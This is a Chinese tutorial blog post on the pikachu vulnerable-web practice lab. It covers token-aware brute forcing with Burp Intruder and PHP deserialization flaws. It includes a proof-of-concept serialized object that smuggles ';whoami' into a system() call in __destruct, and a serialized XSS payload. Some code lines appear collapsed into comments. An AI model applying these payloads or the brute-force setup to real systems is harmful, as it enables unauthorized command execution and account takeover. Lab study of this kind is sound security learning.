web漏洞靶场学习分享

靶场:pikachu靶场

pikachu漏洞靶场漏洞类型:

  • Burt Force(暴力破解漏洞)
  • XSS(跨站脚本漏洞)
  • CSRF(跨站请求伪造)
  • SQL-Inject(SQL注入漏洞)
  • RCE(远程命令/代码执行)
  • Files Inclusion(文件包含漏洞)
  • Unsafe file downloads(不安全的文件下载)
  • Unsafe file uploads(不安全的文件上传)
  • Over Permisson(越权漏洞)
  • ../../../(目录遍历)
  • I can see your ABC(敏感信息泄露)
  • PHP反序列化漏洞
  • XXE(XML External Entity attack)
  • 不安全的URL重定向
  • SSRF(Server-Side Request Forgery)

今天重点说一下Token暴力破解与PHP反序列化

一、暴力破解之Token爆破

        token是表单验证的方法之一、也是防止爆破的,但是它如果出现在前端页面标签中,就会被捕获到实施爆破,因此就是去了它原本的作用。

                                                           表单爆破结果

首先爆破的方法与常规方法一样,都要进行抓包。【在我的文章上有爆破表单账号密码过程和待验证码的爆破方法】

一、 当我们抓到包后进行添加攻击者方法、选择爆破方法是草叉方法,因为分别爆破、token是独立的。

 二、之后我们进行token的爆破设置方法、首先在设置中找到Grep-Extract、让它识别到token。

三、 之后我们点击Add 、进行token识别设置

在Start after expression 部分是你的token开始标志、也就是除开这里,就是token的开始部分

之后再设置End at fied length 这个是token的结束长度、token的长度是多少、这里就设置多少

也可以设置end ad delimiter 是token结束的标志。

四、之后、我们设置Redirctions 把它从Never 改到always,设置重定向

 五、我们设置token的payload、把payload类型设置为Recursive grep,并且把payload sttings[Recursive grep]中的frst request【第一个请求】设置我们当时抓包的token值

 以上设置好后,pyload1 和普通爆破模式一样、爆破即可。

二、PHP反序列化

 在面向对象编程语言中有类的概念,当我们把类转化为字符串输出就是进行了一次序列化操作。

那么我们将序列化后的字符串进行还原便是反序列化操作。

例如:我们进行个序列化操作

 <?php 
//声明个类human
class human{
//定义变量属性public $name = "小李";public $age = "20";
}
//将类实体化
$Li = new human();
//序列化
$enstr = serialize($Li);
//反序列化
$class_str = unserialize($enstr);
var_dump($class_str)
?>

此时输出结果为:O:5:"human":2:{s:4:"name";s:6:"小李";s:10:"humanage";s:2:"20";} 

 我们来看一下字符串:O 表示对象(Object)5表示类名长度,后面跟着类名字、2表示有两个属性、其中内容用{}括起来、s表示字符串(string)4表示变量名长度、、、、以此类推。

这是进行了一次序列化操作、那么反序列化呢?

 <?php 
//声明个类human
class human{
//定义变量属性public $name = "小李";public $age = "20";
}
//将类实体化
$Li = new human();
//序列化
$enstr = serialize($Li);
//反序列化
$class_str = unserialize($enstr);
var_dump($class_str)?>

输出结果为: 

object(human)#2 (2) {
  ["name"]=>
  string(6) "小李"
  ["age"]=>
  string(2) "20"
}

由此我们就进行了一次序列化和反序列化操作。

PHP反序列化漏洞

那么、在此过程中是如何有漏洞发生呢?这就要谈到php的魔法函数。在序列化和反序列化中魔法函数是以下划线开头的函数、它们会在特定的事件发生后自动调用、这样增加了类的灵活性。

其中魔法函数有:

__construct()       对象被创建时候调用

__destruct()        对象销毁时调用

__toString()        对象当作字符串时调用

__get()                在访问对象时候不存在或不可访问属性时调用

__set()                给不存在的访问对象或者不可访问属性赋值时调用

__call()               当调用对象不存在时调用

__callstatic()       当类中不存在静态类时调用

魔法函数还有很多种、不一一举例了。

 <?php 
//声明个类human
class human{
//定义变量属性public $name = "小李";//当类被创建时调用public function __construct(){echo "此类被创建了!我的名字是".$this->name;}//当类被销毁时调用public function __destruct(){echo "此类被销毁了!我的名字是".$this->name;}
}
//将类实体化
$Li = new human();
//序列化
$enstr = serialize($Li);
//输出结果
echo $enstr
?>

其结果为:  此类被创建了!我的名字是小李O:5:"human":1:{s:4:"name";s:6:"小李";}此类被销毁了!我的名字是小李

由此我们知道魔法函数的作用了,现在我们整理一下信息:

1、魔法函数是在类特定的情况被自动调用

2、类可以序列化以及反序列化。

那么、试想一下、类可序列化以及反序列化、那如果我们在魔法函数内的变量可控、并且进行序列化后再反序列化、并且可控函数是system()这样执行系命令操作,那么这是不是就造成了任意命令执行呢?

漏洞payload:

<?php 
//声明个类human
class human{
//定义变量属性public $name = "小李";//当类被销毁时调用public function __destruct(){system("echo 此类被销毁了!我的名字是".$this->name);}
}
//将类实体化
$Li = new human();
//payload 中用;隔开分开执行命令、这样保证后半部分单独执行命令
$payload = "小李;whoami";
//把类中的name属性替换掉攻击命令
$Li-> name = $payload;
//序列化
$enstr = urlencode(serialize($Li));
//输出结果
echo $enstr;
?>

我们进行了带有执行系统命令的序列化操作后,目标进行反序列化操作即可执whoami命令了。

 那么我们来看pikaqiu中的反序列化漏洞吧:

pikachu提示说接收以及序列化的数据,那么我们就构造个前端XSS的序列化操作。

<?php 
//声明个类human
class S{
//定义变量属性var $test = "hello";
}
//将类实体化
$a = new S();
$payload = "<script>alert('xss')</script>";
$a-> test = $payload;
//序列化
$enstr = serialize($a);
//输出结果
echo $enstr;
?>

 结果为:O:1:"S":1:{s:4:"test";s:29:"<script>alert('xss')</script>";}

提交即可 

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/900145.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

《Linux内存管理:实验驱动的深度探索》【附录】【实验环境搭建 4】【Qemu 如何模拟numa架构】

我们在学习 linux 内核时&#xff0c;会涉及到很多 numa 的知识&#xff0c;那我们该如何在 qemu 中模拟这种情况&#xff0c;来配合我们的学习呢&#xff1f; 我们该如何模拟 如下的 numa 架构 Qemu 模拟 NUMA 架构 -M virt,gic-version3,virtualizationon,typevirt \ -cp…

YOLOv12 从预训练迈向自主训练,第一步数据准备

视频讲解&#xff1a; YOLOv12 从预训练迈向自主训练&#xff0c;第一步数据准备 前面复现过yolov12&#xff0c;使用pre-trained的模型进行过测试&#xff0c;今天来讲下如何训练自己的模型&#xff0c;第一步先准备数据和训练格式 https://gitcode.com/open-source-toolkit/…

Keil 5 找不到编译器 Missing:Compiler Version 5 的解决方法

用到自记&#xff1a; 下载地址&#xff1a; Keil5 MDK541.zip ​编辑https://pan.baidu.com/s/1bOPsuVZhD_Wj4RJS90Mbtg?pwdMDK5 问题描述 没有找到 compiler version5 &#xff1a; 1. 下载 Arm Compiler 5 也可以直接点击下载文章开头的文件。 2. 安装 直接安装在KEI…

结肠镜3D视频数据集-C3VD论文中文版

文章目录 标题作者摘要一、介绍1.1. 相关工作1.1.1. 内镜重建数据集1.1.2. 注册真实和虚拟内窥镜图像1.1.3. 2D-3D注册1.2. 贡献 二、方法2.1. 幻影模型生产2.2. 数据采集2.3. 注册流程概述2.3.1. 数据预处理2.3.2. 目标深度估计2.3.3. 渲染深度帧2.3.4. 边缘损失和优化 2.4. 模…

hadoop 集群的常用命令

# 查看HDFS目录内容 hadoop fs -ls /path # 创建目录 hadoop fs -mkdir /path/to/dir # 上传本地文件到HDFS hadoop fs -put localfile /hdfs/path # 下载HDFS文件到本地 hadoop fs -get /hdfs/path localfile # 查看文件内容 hadoop fs -cat /hdfs/path/file # 删除文件/…

MaxEnt物种分布建模全流程;R+ArcGIS+MaxEnt模型物种分布模拟、参数优化方法、结果分析制图与论文写作

融合R语言的MaxEnt模型具有以下具体优势&#xff1a; 数据处理高效便捷 &#x1f4ca;强大的数据预处理功能&#xff1a;R语言提供了丰富的数据处理工具&#xff0c;能够轻松完成数据清洗、筛选、转换等操作&#xff0c;为MaxEnt模型提供高质量的输入数据。 &#x1f310;自动…

Java基础 4.4

1.方法快速入门 public class Method01 {//编写一个main方法public static void main(String[] args) {//方法使用//1.方法写好后&#xff0c;如果不去调用(使用)&#xff0c;不会输出Person p1 new Person();p1.speak();//调用方法 p1.cal01();//调用计算方法1p1.cal02(10);…

Tiktok矩阵运营中使用云手机的好处

Tiktok矩阵运营中使用云手机的好处 云手机在TikTok矩阵运营中能够大幅提高管理效率、降低封号风险&#xff0c;并节省成本&#xff0c;是非常实用的运营工具。TikTok矩阵运营使用云手机有很多优势&#xff0c;特别是对于需要批量管理账号、提高运营效率的团队来说。以下是几个…

指针函数、函数指针和指针函数指针的全面总结

C中指针函数、函数指针和指针函数指针的全面总结 一、核心概念区别 概念本质声明示例核心特征指针函数返回指针的函数int* func(int);函数定义&#xff0c;返回值是指针类型函数指针指向函数的指针int (*ptr)(int);变量&#xff0c;存储函数地址指针函数指针指向指针函数的指…

CherryStudio MCP实战(一)filesystem篇

随着DeepSeek的爆火&#xff0c;各行各业都在围绕着大模型寻找新质量生产力。简单来说&#xff0c;DeepSeek像是人的大脑&#xff0c;他可以推理&#xff0c;帮你思考一些问题&#xff0c;但是具体要做一些事情的时候&#xff0c;他还需要“手脚”来协同。MCP&#xff08;Model…

TCP基础篇(一)

文章目录 1.TCP 是如何保证可靠性的?2. 滑动窗口机制3 超时重传4.TCP 报文格式5. 什么是 TCP 协议5.1 如何唯一确定一个 TCP 连接 6.TCP 三次握手过程6.1 可以两次握手吗? 7.TCP 的四次挥手7.1 为什么客户端要等待2MSL&#xff1f; 8.linux 中查看 TCP 的连接9.TCP 为什么要有…

【Axure元件分享】时间范围选择器

时间范围选择器下拉选择开始时间和结束时间&#xff0c;实现效果如下。 源文件截图&#xff1a; 元件获取方式&#xff1a;

大模型学习一:deepseek api 调用实战以及参数介绍

一、说明 DeepSeek&#xff08;杭州深度求索人工智能基础技术研究有限公司&#xff09;是一家专注于大语言模型&#xff08;LLM&#xff09;研发的中国创新型科技公司&#xff0c;成立于2023年7月17日&#xff0c;由幻方量化孵化。其核心产品包括开源推理模型DeepSeek-R1、多模…

【Linux网络与网络编程】03.UDP Socket编程

一、UDP Socket编程接口 // 创建套接字 int socket(int domain, int type, int protocol); // 参数&#xff1a; // domain&#xff1a;域&#xff08;协议家族&#xff09;&#xff0c;这里使用 AF_INET 表示进行网络编程 // type&#xff1a;网络通信传输的类型&#xff0…

linux gcc

一、常用编译选项 ​基本编译 gcc [input].c -o [output] ​示例&#xff1a; gcc hello.c -o hello # 将 hello.c 编译为可执行文件 hello ./hello # 运行程序 ​分步编译 预处理&#xff1a;-E&#xff08;生成 .i 文件&#xff09; gcc -E hello.c -o hello…

若依框架二次开发——RuoYi-AI 集成本地大模型

文章目录 前提条件1. RuoYi-AI 已成功部署并运行2. Ollama 本地大模型已安装1. 配置本地大模型2. 切换至本地模型3. 开始对话总结本文将详细介绍如何在 RuoYi-AI 中集成本地 Ollama 大模型,使系统能够在 离线环境 下提供智能对话能力。 前提条件 在开始集成本地大模型之前,…

Flask学习笔记 - 模板渲染

Flask 模板渲染 模板是包含占位符的 HTML 文件 Flask 使用 Jinja2 模板引擎来处理模板渲染。模板渲染允许你将动态内容插入到 HTML 页面中&#xff0c;使得应用能够生成动态的网页内容。 创建模板&#xff1a;将 HTML 文件放在 templates 文件夹中&#xff0c;使用 Jinja2 占…

解码 from XXX import * - 导入的真相

文章目录 前言一、 什么是 from XXX import *?二、基本用法:导入的实际效果三、默认行为:无 __all__ 的情况四、与直接运行 XXX.py 的对比示例模块使用 from XXX import *直接运行 python example.py关键差异五、为什么需要注意 from XXX import *?最佳实践六、实际应用场景…

JavaScript 中常见的鼠标事件及应用

JavaScript 中常见的鼠标事件及应用 在 JavaScript 中&#xff0c;鼠标事件是用户与网页进行交互的重要方式&#xff0c;通过监听这些事件&#xff0c;开发者可以实现各种交互效果&#xff0c;如点击、悬停、拖动等。 在 JavaScript 中&#xff0c;鼠标事件类型多样&#xff0…

Nacos注册中心AP模式核心源码分析(单机模式)

文章目录 概述一、客户端启动主线流程源码分析1.1、客户端与Spring Boot整合1.2、注册实例&#xff08;服务注册&#xff09;1.3、发送心跳1.4、拉取服务端实例列表&#xff08;服务发现&#xff09; 二、服务端接收请求主线流程源码分析2.1、接收注册请求2.1.1、初始化注册表2…